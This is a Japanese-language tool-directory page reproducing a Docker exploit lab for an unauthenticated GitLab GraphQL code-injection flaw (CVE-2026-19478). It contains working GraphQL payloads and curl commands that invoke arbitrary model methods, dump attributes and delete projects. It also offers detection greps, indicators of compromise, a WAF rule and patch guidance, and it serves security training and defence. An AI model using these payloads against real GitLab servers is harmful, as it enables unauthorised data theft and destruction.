Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Gitlab-CVE-2026-19478 — CVE-2026-19478用のDocker化エクスプロイトラボとスクリプト。任意のRubyメソッド呼び出し、プロジェクト削除、データ流出を可能にする、認証不要の重大なGitLab GraphQLコードインジェクションです。 | Kitploit
ツール/GitHubGitHub/punitdarji/gitlab-cve-2026-19478
脆弱性分析エクスプロイトウェブアプリケーション悪用APIセキュリティテストペネトレーションテスト学習と教育ラボと実践
GitHubpunitdarji/gitlab-cve-2026-19478

Gitlab-CVE-2026-19478

CVE-2026-19478用のDocker化エクスプロイトラボとスクリプト。任意のRubyメソッド呼び出し、プロジェクト削除、データ流出を可能にする、認証不要の重大なGitLab GraphQLコードインジェクションです。

リポジトリを見る
2日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-19478 — GitLab GraphQL @gl_introduced ディレクティブインジェクション

GitLab CE/EE の GraphQL ディレクティブを介した未認証リモートコードインジェクション — 単一の HTTP リクエストで任意の公開プロジェクトを削除

CVE-2026-19478 を再現する実践型ペネトレーションテストラボです。これは GitLab の GraphQL API における重大な(CVSS 9.4)脆弱性です。@gl_introduced ディレクティブにより、認証されていない攻撃者がサーバーサイドオブジェクト上で任意の Ruby メソッドを実行できます — プロジェクトの削除、データの外部送信、所有権の移転などが、一切の認証なしで可能です。

このラボは、実際に脆弱性のある GitLab CE 19.2.0 インスタンスを Docker 上で実行し、現実に即した悪用演習を提供します。

目次

  • 脆弱性の概要
  • エクスプロイトの仕組み
  • 攻撃フロー図
  • ラボのセットアップ
  • エクスプロイトガイド
  • エクスプロイトスクリプトの使用方法
  • 検出と侵害指標
  • 対策
  • 参考情報
  • 免責事項
  • 私たちとつながる

脆弱性の概要

ツールをダウンロード
フィールド値
CVE IDCVE-2026-19478
CVSS スコア9.4(重大)
対象製品GitLab Community Edition (CE) / Enterprise Edition (EE)
脆弱性の種類コードインジェクション / 任意メソッド実行 (CWE-94)
攻撃経路ネットワーク(リモート)
認証不要
ユーザー操作不要
攻撃の複雑さ低
影響を受けるバージョン18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3
修正済みバージョン18.11.11, 19.0.8, 19.1.6, 19.2.4
発見者hiimguardian (via HackerOne)
パッチ適用日2026年8月17日

影響

認証されていないリモート攻撃者は、以下を実行できます:

  • 任意の公開プロジェクトを完全に削除
  • 内部データ、管理者トークン、シークレットを外部に送信
  • プロジェクトの可視性、所有権、設定を変更
  • サーバーサイドの Project モデル上で任意の Ruby メソッドを実行
  • プロジェクトを許可なくアーカイブまたは移転

エクスプロイトの仕組み

@gl_introduced ディレクティブ

GitLab はローリングデプロイをサポートするために、カスタム GraphQL ディレクティブ @gl_introduced(version: "X.Y") を使用します。新しい GitLab バージョンが GraphQL API にフィールドを追加した場合、古いインスタンスはそれらの新しいフィールドを参照するクエリに対して、エラーを返す代わりに null を返すことで適切に処理します。

脆弱なコードパス

ファイル: lib/gitlab/graphql/version_filter/future_field_fallback.rb(14〜36行目)

ステップバイステップの解説:

  1. FutureFieldFilter は受信した GraphQL クエリをスキャンします。フィールドに現在のサーバーより新しいバージョンの @gl_introduced(version) が付いている場合、そのフィールドを除去し、context[:contain_future_fields] = true を設定します。

  2. IntroducedTracer は実行時に元のクエリドキュメントを復元し、除去されたフィールドを AST に戻します。

  3. FutureFieldFallback#get_field は実行中のすべてのフィールド参照をインターセプトします。次の3つの条件をチェックします:

    • contain_future_fields フラグが設定されているか? ✅
    • フィールドがスキーマに存在しないか? ✅
    • 名前が __ で始まっていないか? ✅
    • フィールド名は安全か? ❌ チェックが存在しない!
  4. 3つのチェックをすべて通過すると、リゾルバクラスなしの新しい GraphQL::Schema::Field を合成します。

  5. graphql-ruby では、リゾルバのないフィールドは、基盤となる Ruby オブジェクトに対して object.public_send(field_name) を呼び出すことで解決されます — 攻撃者のフィールド名が Project ActiveRecord モデルに対する任意のメソッド呼び出しに変換されます。

修正内容(19.2.4+)

GitLab のパッチは、暗黙的なメソッドディスパッチを、無条件に nil を返す明示的な NilResolver に置き換え、任意のメソッド実行を排除しつつローリングデプロイとの互換性を維持しています:

root@kitploit:~
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL

# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
  resolver_class: NilResolver)  # ← always returns nil

攻撃フロー図

root@kitploit:~
                    ATTACKER (unauthenticated)
                              │
                              │  POST /api/graphql
                              │  { project(fullPath: "victim/repo") {
                              │      name
                              │      destroy @gl_introduced(version: "99.0")
                              │  }}
                              │
                              ▼
               ┌──────────────────────────────┐
               │     GitLab GraphQL API        │
               │     (no auth required)        │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   1. FutureFieldFilter        │
               │   "destroy" has @gl_introduced│
               │   version 99.0 > 19.2.0      │
               │   → Strip field              │
               │   → Set contain_future_fields │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   2. IntroducedTracer         │
               │   → Restore original query   │
               │   "destroy" is back in AST   │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   3. FutureFieldFallback      │
               │   "destroy" not in schema? ✓  │
               │   Flag set? ✓                 │
               │   Not __introspection? ✓      │
               │   → Synthesize field          │
               │   → NO RESOLVER attached      │
               └──────────────┬───────────────┘
                              │
                              ▼
               ┌──────────────────────────────┐
               │   4. graphql-ruby resolution  │
               │   No resolver found →         │
               │   object.public_send(:destroy)│
               │                               │
               │   Project.find("victim/repo") │
               │          .destroy()           │
               │                               │
               │   ██ PROJECT DELETED ██        │
               └──────────────────────────────┘

ラボのセットアップ

前提条件

  • Docker と Docker Compose がインストールされていること
  • Docker で使用可能な最小 4 GB の RAM(GitLab はリソースを多く消費します)
  • Python 3(エクスプロイトスクリプト用)
  • API テスト用の Web ブラウザまたは curl / httpie

クイックスタート — 実際の GitLab CE 19.2.0(脆弱性あり)

root@kitploit:~
# Clone or navigate to the lab directory
cd CVE-2026-19478

# Pull and start the vulnerable GitLab instance
docker compose up -d

# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable

# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh

アクセスポイント

サービスURL認証情報
GitLab Web UIhttp://localhostroot / P@ssw0rd123!
GraphQL APIhttp://localhost/api/graphql不要
GraphQL Explorerhttp://localhost/-/graphql-explorerログインが必要
SSHlocalhost:2222—

軽量版(シミュレーション)

リソースが限られている環境や、より高速な起動が必要な場合:

root@kitploit:~
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000

停止 / 完全リセット

root@kitploit:~
# Stop the lab
docker compose down

# Full reset (removes all data volumes)
docker compose down -v

エクスプロイトガイド

レベル 1 — 偵察(認証不要)

サーバーのバージョンを確認:

root@kitploit:~
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}

GraphQL 経由で公開プロジェクトを列挙(認証なし):

root@kitploit:~
{
  projects(membership: false) {
    nodes {
      id
      name
      fullPath
      visibility
    }
  }
}

スキーマイントロスペクションで @gl_introduced ディレクティブを発見:

root@kitploit:~
{
  __schema {
    directives {
      name
      description
      args { name type { name } }
      locations
    }
  }
}

レベル 2 — 脆弱性のトリガー

スキーマに存在しないフィールドに対して、将来のバージョンを指定した @gl_introduced を使用します:

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    class @gl_introduced(version: "99.0")
  }
}

脆弱な場合、class は Ruby のクラス名("Project")を返し、任意のメソッドディスパッチが確認できます。

レベル 3 — データの外部送信

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    object_id @gl_introduced(version: "99.0")
    to_s @gl_introduced(version: "99.0")
  }
}

レベル 4 — 破壊的なエクスプロイト

警告: 以下を実行すると、プロジェクトが完全に削除されます。

root@kitploit:~
{
  project(fullPath: "root/pwnsystem") {
    name
    destroy @gl_introduced(version: "99.0")
  }
}

GitLab の Project モデルで悪用可能なその他のメソッド:

メソッド影響
destroyプロジェクトを完全に削除
archiveプロジェクトをアーカイブ
transferプロジェクトの所有権を移転
attributesすべてのデータベース属性をダンプ
repositoryリポジトリオブジェクトにアクセス
membersプロジェクトメンバーを一覧表示

curl の例

root@kitploit:~
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq

# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq

# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq

検出と侵害指標

ログ分析

root@kitploit:~
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log

# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
  awk -F. '$1 > 20 {print}'

侵害指標(IOC)

指標説明
@gl_introduced(version: "99.0")非現実的に高いバージョン番号による悪用試行
フィールド名: destroy, delete, update, transfer破壊的な ActiveRecord メソッドを標的に
予期しないプロジェクトの削除管理者の操作なしにプロジェクトが消える
可視性の変更公開プロジェクトが突然非公開になる
所有権の移転プロジェクトが不明なユーザーに移転される

WAF ルール

@gl_introduced と高いバージョン番号を含む GraphQL リクエストをブロックします:

root@kitploit:~
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
    return 403;
}

対策

  1. すぐにパッチを適用 — GitLab 18.11.11+, 19.0.8+, 19.1.6+, または 19.2.4+ にアップデート
  2. WAF による緩和 — リバースプロキシ/WAF レベルで、高いバージョン文字列を含む @gl_introduced を含む GraphQL リクエストをブロック
  3. 監査ログ — プロジェクトのアクティビティログで不正な変更、削除、可視性の変更を確認
  4. アクセスログ — Web サーバーログで悪用パターンを検索(上記の検出セクションを参照)
  5. インシデントレスポンス — 悪用が確認された場合、データの外部送信を確認し、バックアップから削除されたプロジェクトを復元


PoC クレジット

CVE-2026-19478

参考情報

  • GitLab セキュリティアドバイザリ — 2026年8月17日
  • OWASP A03:2021 — インジェクション
  • CWE-94: コード生成の制御の不適切さ(コードインジェクション)
  • OX Security: GitLab GraphQL CVE 分析
  • Help Net Security: GitLab の重大な脆弱性
  • CyCognito: 緊急脅威アドバイザリ
  • The Hacker News: GitLab GraphQL の重大な脆弱性

免責事項

このラボは、認定されたセキュリティ教育およびペネトレーションテストトレーニング専用に構築されています。管理された隔離環境で、自分が所有するか、テストするための明示的な書面による許可を得た環境でのみ使用してください。

適切な許可なしに、このラボの技術、ツール、またはエクスプロイトコードをいかなるシステムに対しても使用しないでください。コンピュータシステムへの不正アクセスは、コンピュータ詐欺及び濫用取締法(CFAA)および世界各国の同等の法律で違法とされています。

著者および貢献者は、このラボまたはその内容によって引き起こされた誤用や損害について一切責任を負いません。


私たちとつながる

Follow on Instagram   Connect on LinkedIn

Instagram で @pwnsystem をフォローして、毎日のサイバーセキュリティのヒント、CVE の解説、エクスプロイトのウォークスルーをチェックしましょう。
プロフェッショナルなセキュリティインサイトとラボのアップデートについては、LinkedIn の Punit Darji にご連絡ください。